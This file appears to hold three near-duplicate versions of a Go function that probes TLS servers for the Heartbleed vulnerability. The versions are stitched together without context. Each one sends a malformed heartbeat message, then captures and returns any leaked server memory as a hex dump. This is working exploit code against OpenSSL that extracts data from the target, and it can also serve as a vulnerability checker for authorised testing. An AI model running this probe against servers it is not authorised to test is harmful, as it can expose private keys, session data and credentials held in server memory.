func Heartbleed(host string, payload []byte) (out []byte, err error) { if strings.Index(host, ":") == -1 { host = host + ":443" } net_conn, err := net.DialTimeout("tcp", host, 3*time.Second) if err != nil { return } net_conn.SetDeadline(time.Now().Add(9 * time.Second)) conn := tls.Client(net_conn, &tls.Config{InsecureSkipVerify: true}) err = conn.Handshake() if err != nil { return } var vuln = make(chan bool, 1) buf := new(bytes.Buffer) err = conn.SendHeartbeat([]byte(buildEvilMessage(payload)), heartbleedCheck(conn, buf, vuln)) if err != nil { return } go func() { // Needed to process the incoming heartbeat conn.Read(nil) }() go func() { time.Sleep(3 * time.Second) _, err = conn.Write([]byte("quit\n")) conn.Read(nil) // TODO: here we should probably check that it succeeds vuln <- false }() select { case status := <-vuln: conn.Close() if status { out = buf.Bytes() return out, nil // VULNERABLE } else if err != nil { return } else { err = Safe return } case <-time.After(6 * time.Second): err = Timeout conn.Close() return } }
func Heartbleed(tgt *Target, payload []byte, skipVerify bool) (string, error) { host := tgt.HostIp if strings.Index(host, ":") == -1 { host = host + ":443" } net_conn, err := net.DialTimeout("tcp", host, 3*time.Second) if err != nil { return "", err } net_conn.SetDeadline(time.Now().Add(10 * time.Second)) if tgt.Service != "https" { err = DoStartTLS(net_conn, tgt.Service) if err != nil { return "", err } } hname := strings.Split(host, ":") conn := tls.Client(net_conn, &tls.Config{InsecureSkipVerify: skipVerify, ServerName: hname[0]}) defer conn.Close() err = conn.Handshake() if err != nil { return "", err } err = conn.SendHeartbeat([]byte(buildEvilMessage(payload, host))) if err != nil { return "", err } res := make(chan error) closeNotifySent := false go func() { // Needed to process the incoming heartbeat _, err := conn.Read(nil) nerr, ok := err.(*net.OpError) if ok && nerr.Err != nil && nerr.Err.Error() == "unexpected message" { res <- Safe return } if err == io.EOF || (err != nil && err.Error() == "EOF") || (ok && nerr.Err == syscall.ECONNRESET) { if closeNotifySent && (err == io.EOF || err.Error() == "EOF") { // the connection terminated normally res <- Safe return } else { // early on-heartbeat connection closures res <- Closed return } } res <- err }() go func() { // Check if the server is still alive time.Sleep(3 * time.Second) conn.SendCloseNotify() closeNotifySent = true }() select { case data := <-conn.Heartbeats: out := spew.Sdump(data) if bytes.Index(data, padding) == -1 { return "", Safe } if strings.Index(string(data), host) == -1 { return "", errors.New("Please try again") } // Vulnerable return out, nil case r := <-res: return "", r case <-time.After(8 * time.Second): return "", Timeout } }
func Heartbleed(tgt *Target, payload []byte, skipVerify bool) (out []byte, err error) { host := tgt.HostIp if strings.Index(host, ":") == -1 { host = host + ":443" } net_conn, err := net.DialTimeout("tcp", host, 3*time.Second) if err != nil { return } net_conn.SetDeadline(time.Now().Add(9 * time.Second)) if tgt.Service != "https" { err = DoStartTLS(net_conn, tgt.Service) if err != nil { return } } hname := strings.Split(host, ":") conn := tls.Client(net_conn, &tls.Config{InsecureSkipVerify: skipVerify, ServerName: hname[0]}) err = conn.Handshake() if err != nil { return } var vuln = make(chan bool, 1) buf := new(bytes.Buffer) err = conn.SendHeartbeat([]byte(buildEvilMessage(payload, host)), func(data []byte) { spew.Fdump(buf, data) if bytes.Index(data, padding) == -1 { vuln <- false } else { if strings.Index(string(data), host) == -1 { err = errors.New("Please try again") vuln <- false } else { vuln <- true } } }) if err != nil { return } go func() { // Needed to process the incoming heartbeat conn.Read(nil) // spew.Dump(read_err) }() go func() { time.Sleep(3 * time.Second) _, err = conn.Write([]byte("quit\n")) conn.Read(nil) // TODO: here we should probably check that it succeeds vuln <- false }() select { case status := <-vuln: conn.Close() if status { out = buf.Bytes() return out, nil // VULNERABLE } else if err != nil { return } else { err = Safe return } case <-time.After(6 * time.Second): err = Timeout conn.Close() return } }